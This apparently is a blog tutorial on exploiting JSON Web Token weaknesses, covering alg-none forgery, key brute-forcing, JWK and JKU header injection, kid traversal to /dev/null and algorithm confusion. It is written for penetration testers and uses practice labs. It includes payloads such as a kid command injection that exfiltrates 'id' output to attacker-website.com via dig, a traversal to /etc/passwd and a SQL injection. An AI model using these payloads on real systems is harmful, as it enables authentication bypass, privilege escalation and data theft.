JWT vulnerabilities:
- Tamper without modifying anything
- Modify the algorithm to none
- Bruteforce weak signing key
- Privilege Escalation by JWK header injection (RS256 or asymmetric hashing algorithm attack)
- Privilege Escalation by JKU header injection (RS256 or asymmetric hashing algorithm attack)
- The exploitation of kid header in JWT (Directory Traversal and command Injection) (RS256 and HS256)
- Privilege Escalation by algorithm confusion when server public key is exposed and JWT token algorithm is RS256(Change the algorithm from RS256 or asymmetric hashing algorithm attack to HS256 or symmetric algorithm)
- Privilege Escalation by algorithm confusion when server public key is not exposed and JWT token algorithm is RS256(Change the algorithm from RS256 or asymmetric hashing algorithm attack to HS256 or symmetric algorithm)
- Cross service relay attack
- Check exp
- Tamper without modifying anything
Example: Let's say in payload name: lol and you change the name: admin and check if you are able to get admin access or not. If it works, that means the signature is not validating at the server end.
- Modify the algorithm to none
Example: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY0MTczNDJ9.
Header:
{
“typ”: “JWT”,
“alg”: “none”
}
Payload: eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY0MTczNDJ9
{
“iss”: “portswigger”,
“sub”: “administrator”,
“exp”: 1656417342
}
- Bruteforce weak signing key
Try to brute force a weak signing key. If you get the secret key that is used for creating the signature, then you can modify data and use that key to create a new signature. In this scenario, the server is validating the signature, but the server is using the weak key for creating the signature.
I know some of you might be confused about this. Check this blog to understand the digital signature.
Check the above image, if you know the secret you can create your own signature, and that same secret is used for validating the signature at the server end. This is how it works.
For brute force, you can sue any signature dictionary. https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
Copy the JWT token and paste it into the below command and give the path to the dictionary.
Bruteforcing:
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
or
python3 jwt_tool.py <JWT Token> -C -d jwt.secrets.list
Let’s say after using the above command you get the secret key: secret1
Now convert the secret key in base64 (c2VjcmV0MQ==) by using the Burp decoder.
Go to the “JWT Editor Keys” in Burp and then click on “New Symmetric key”. Click on “Generate” and replace the value of “k” with the base64 secret key.
We are just saving our key in base64 in the formula so that it can be used for signing the header and payload in the next steps.
Now go back to the repeater in Burp, and change the value in the payload by using “JSON Web Token”. At the bottom of the tab, click “sign”, then select the key that you generated in the previous section. Make sure that the Don’t modify header option is selected, then click OK. The modified token is now signed with the correct signature.
Send the request and observe the successful response.
- Privilege Escalation by JWK header injection (RS256 or asymmetric hashing algorithm attack)
JWK is a JSON web key. JWK is an optional key:value pair in a header of the JWT token. This JWK header is used by the server to embed the public key within a token itself in JWK format.
Example:
Check if the JWK parameter is allowed in the header by the server. Also, check if the server is misconfigured that uses the key that’s embedded in the JWK parameter. If both the condition is accepted by the server then we can use our own key and send that key by using the JWK parameter and the server use that key for signature verification.
Exploitation Steps:
1. Capture the JWT request with the RS256 algorithm.
2. Send the request to the repeater
3. Navigate to “JWT EditorKeys” Burp extender
4. Click on “New RSA Key” → Click on Generate to automatically generate the new key pair (Note that you don’t need to select a key size as this will automatically be updated later.) → Click on “Ok”
5. Navigate back to the repeater request, and change the values whatever you want according to the request. Like in the below screenshot I have changed the “Sub” from “Wiener” to “administrator” for the administrative privileges.
6. Navigate to the “JSON web Token” extender in Burp → Click on “Attack” → Select “Embedded JWK”.
7. Send the request and you will get a successful response if JWK is allowed by the server and it is misconfigured.
Here in this scenario, when we choose “Embedded JWK”, our JWT token is automatically signed by the private key that we have created and the public key is embedded in the JWK parameter, which is used by the server for the decryption and for the digital signature verification.
Why we can’t use HS256 (Symmetric hashing) in JWK?
Might be some of you think the same as I was thinking when I am writing this blog. So JWK header has some structure defined and this header is used for sending the public key in that format, but in HS256 as its symmetric hashing algorithm, it uses the random secret key to generate the hash and the same key is at the server which is used at the server end to generate the hash and then both hashes compared. If both hashes are the same, then there is no tampering in the request. HS256 or symmetric hashing algorithm doesn’t follow that same format that is used for asymmetric hashing algorithm.
https://www.rfc-editor.org/rfc/rfc7638.txt
- Privilege Escalation by JKU header injection (RS256 or asymmetric hashing algorithm attack)
What is JKU?
JKU is JSON Web Key Set URL.
In JWK, we embedded the public key in the request, but in JKU we embedded the URL which contains the set of keys. The server can fetch the set of keys and use the correct key by checking the kid value in the request and in the key set.
JWK Sets like this are sometimes exposed publicly via a standard endpoint, such as /.well-known/jwks.json
Mostly, keys are fetched from secure domains, but sometimes the server is misconfigured and you can use your own domain to fetch the public key and sign the token by your own private key.
This scenario is the same as JWK only just a header key: value is different, here we use a URL to fetch the public key.
Exploitation Steps:
1. Capture the JWT request with the RS256 algorithm.
2. Send the request to the repeater
3. Navigate to “JWT EditorKeys” Burp extender
4. Click on “New RSA Key” → Click on Generate to automatically generate the new key pair (Note that you don’t need to select a key size as this will automatically be updated later.) → Click on “Ok”
5. Right-click on an entry and then click on “Copy public key JWK”
6. Navigate to the attacker control server, and create the file like this
{“keys”: [ ]}
7. Paste the copied “Copy public key JWK” inside the bracket.
{“keys”: [
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “d129fd69-c8e8–459f-b904–986dba3ed293”,
“n”: “v0pisowR-JdQFWIj-AUvIW1i2E06dNPctHZhUjDgUz6kLgr5f_hw4Yd93GmTYXcYjpafv0NJqvDkhZ0GUy4iSmDEoLC211Z9f9vKQtfnQU-0QEd1zZcpAstU3RevUI23q_aukcMewVO2a4NxgNt6j9d-e31M-55kbo-UUNAm0t7XI42IBPaiCCjLOqSzMS0ly9bcLCJUJyELv_SrqKqkRZI3T_KtZUkBEZUsQv3i5iSRLbZt5gYA_0UccffAsRJhk4iBx7PB60fuxcFi1Uje-O2oiS0j69Aq5xzCbAqPkDLMfOv21R7xSCU_BzajtuBcGSfgbIjeEH9elxnt1hDGgQ”
}
]
}
8. Navigate back to the repeater request, and change the values, whatever you want according to the request. Like in the below screenshot I have changed the “Sub” from “Wiener” to “administrator” for the administrative privileges.
9. Replace the “kid” value in the request with the kid value of “Copy public key JWK”. It is an important step because by using the kid value server to identify which public key the server has to use from a set of keys or if only one key.
10. Add a new “jku” parameter in the header and set the value to the URL of the attacker control server where the JWK keys are hosted. Check steps 6,7
11. Click on “Sign” in the “JSON Web Token” extender in the Burp. It is also an important step. Now you are signing your modified request with your own private key.
12. Send the request and you will get a successful response if JKU is allowed by the server and it is misconfigured.
- The exploitation of kid header in JWT (Directory Traversal and command Injection) (RS256 and HS256)
kid = Key ID
As in the above exploitation, we have seen that we have replaced the kid value with our own kid value so that the server knows which public key should be used for the digital signature verification.
kid or key id helps the server to identify which key should be used when verifying the signature.
Directory Traversal
This kid parameter exploitation only works when directory traversal is possible in the kid parameter. In the case of a symmetric hashing algorithm (HS256), it is more dangerous because we can traverse it to /dev/null, which is mostly present on most Linux systems and the value of this file is null as it is an empty file. Therefore, signing the token with a Base64-encoded null byte will result in a valid signature.
In an asymmetric (RS256) case, we have to find the file upload vulnerability or any method by which we are able to write our public key and then use the directory traversal to that file path.
For the “/dev/null” like value in the Windows system, you can refer to this. I have not tried in Windows. Post
If you try to create a file like this, it is never created. I think we can use this in the Windows system for a null byte.
echo 1 > nul
echo 1 > c:\nul
Command Injection
We can also check for the command injection issue, if possible, then we can go to the directory of the key file and run the HTTP server there. After that, we hit the domain name with that port and accessed that key file. It is helpful when the algorithm is symmetric (HS256). We can also do more things as command injection is working everything depends on the privileges that we have in the system.
Example of Command injection payload copied from Pentester academy
Payload: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337 &
“kid” : “1” | whoami;
“kid”: “kid;dig $(id | base64 -w0).attacker-website.com”
Also, check for the below vulnerabilities in the kid parameter:
SQL Injection
“kid” : “SELECT * FROM users WHERE username = ‘admin’-‘ AND password = ‘’”
Local File Inclusion
“kid” : “../../../etc/passwd”
Exploitation Steps (Symmetric HS256):
1. Capture the JWT request with the HS256 algorithm.
2. Send the request to the repeater
3. Navigate to “JWT EditorKeys” Burp extender
4. Click on “new Symmetric Key” → Click on “Generate” (Don’t need to select the key size)
5. Now, as we all know, we are going to sign our JWT token by Null character so for this, we need to change the value of “K” to the base64 of null. i.e (AA==) and click on Ok. Now you are thinking what exactly we are doing here? So we are signing our JWT token by null character and will point the kid value to /dev/null. So server takes the null value for creating the signature and both the signatures should look identical to the server. When the signature matches, then only our modified request is accepted by the server.
6. Navigate back to the repeater request, and change the values, whatever you want according to the request. Like in the below screenshot I have changed the “Sub” from “Wiener” to “administrator” for the administrative privileges.
7. Use directory traversal to replace “kid” value to /dev/null. In my case it was “../../../../../../../dev/null”
8. Click on “sign” in the “JSON web token” Burp extender and sign it with the symmetric key that you have created in the earlier step.
9. Send the request and you will get a successful response if directory traversal is allowed in the “kid” parameter by the server and it is misconfigured.
- Privilege Escalation by algorithm confusion when server public key is exposed and JWT token algorithm is RS256(Change the algorithm from RS256 or asymmetric hashing algorithm attack to HS256 or symmetric algorithm)
This is not just only an algorithm confusion, it confuses you too. Yes, I am not kidding :)
Before going to understand the exploitation part, first understand what is RS256 and HS256
RS256 (Asymmetric Algorithm): It uses the private and public keys. The private key is never shared with anyone and this key is used for generating the signature. The server sends the JWT token by adding the signature to it. Public key is used by the JWT token receiver, who used this key to verify the signature.
HS256 (Symmetric Algorithm): It is a symmetric key hashing algorithm that uses one secret key. The key is used for both generating the signature and validating the signature. The secret key is shared with both parties.
Let's assume a scenario where you received a JWT token that uses an RS256 algorithm. After some recon, you found a server public key let's say you found it in /.well-known/jwks.json . For more details check the above JWK issue.
As per our scenario, we know that the JWT token is using RS256 that’s means the server is generating a signature by the private key and the JWT receiver is using a public key for verification.
So in the algorithm confusion attack, we use the public key that we found in our recon as a secret in the symmetric algorithm and sign our alter payload with that signature. Also, change the algorithm to HS256 before sending it to the server. So now when we send this modified JWT token to the server, we are telling the server that it is HS256 instead of RS256. If the server is misconfigured for the algorithm confusion, then the server may use the public key as the secret in the symmetric algorithm.
We used the public key as a secret in the symmetric algorithm for encrypting(Signing) the hash of payload and header. The server used the public key for decryption of the digital signature to take out the hash value.
The server also creates the hash of payload and header by using the same algorithm and key and after that server compares both hash values. As the same secret key is used by both attacker and server because of misconfiguration both the hash will match.
Learn about Digital Signature for more clarification.
Exploitation steps:
1. Capture the JWT request with the RS256 algorithm.
2. Send the request to the repeater
3. Let's say you found the public key /.well-known/jwks.json
4. Copy only highlighted part from the public key
5. Navigate to “JWT EditorKeys” Burp extender
6. Click on “New RSA Key” → paste the highlighted part in the key section without clicking on Generate → Click on ok
7. Right-click on the entry and then click on “Copy public key as PEM”
8. Paste the copied key into the decoder and encode it to Base64. Copied the encoded data
9. Now go back to “JWT EditorKeys” → Click on “New Symmetric Key” → Click on Generate → Replace the value of “k” with the value of Base64 encoded PEM that you just created.
10. Navigate back to the repeater request, and change the values whatever you want according to the request. Like in the above screenshot I have changed the “Sub” from “Wiener” to “administrator” for the administrative privileges.
11. Change the alg to HS256 from RS256
12. Click on “sign” in the “JSON web token” Burp extender and sign it with the symmetric key that you have created in the earlier step.
13. Send the request and you will get a successful response if a server is misconfigured to an algorithm confusion attack.
- Privilege Escalation by algorithm confusion when server public key is not exposed and JWT token algorithm is RS256(Change the algorithm from RS256 or asymmetric hashing algorithm attack to HS256 or symmetric algorithm)
Working on it and will update you soon….
- Cross service relay attack
Check whether the JWT token is issued or renewed by any third-party service or not. If yes, then you can check if it is possible to signup for an account with the same username/email to another application that uses the same third-party service for the JWT token. Then try taking that token and replaying it in a request to your target. If the token is accepted then you may have a critical finding.
- Check exp
The exp in the payload is used to check the expiry of a token. Check if the exp token is available in the payload or not if it’s not there then it’s an issue. Also check the expiry of the token, replaying the JWT token after expiry time. If you get a response then it’s an issue. Try to alter the time stamp also, and check if it’s validating at the server end or not.
References:
https://portswigger.net/web-security/jwt
https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
Comments
Post a Comment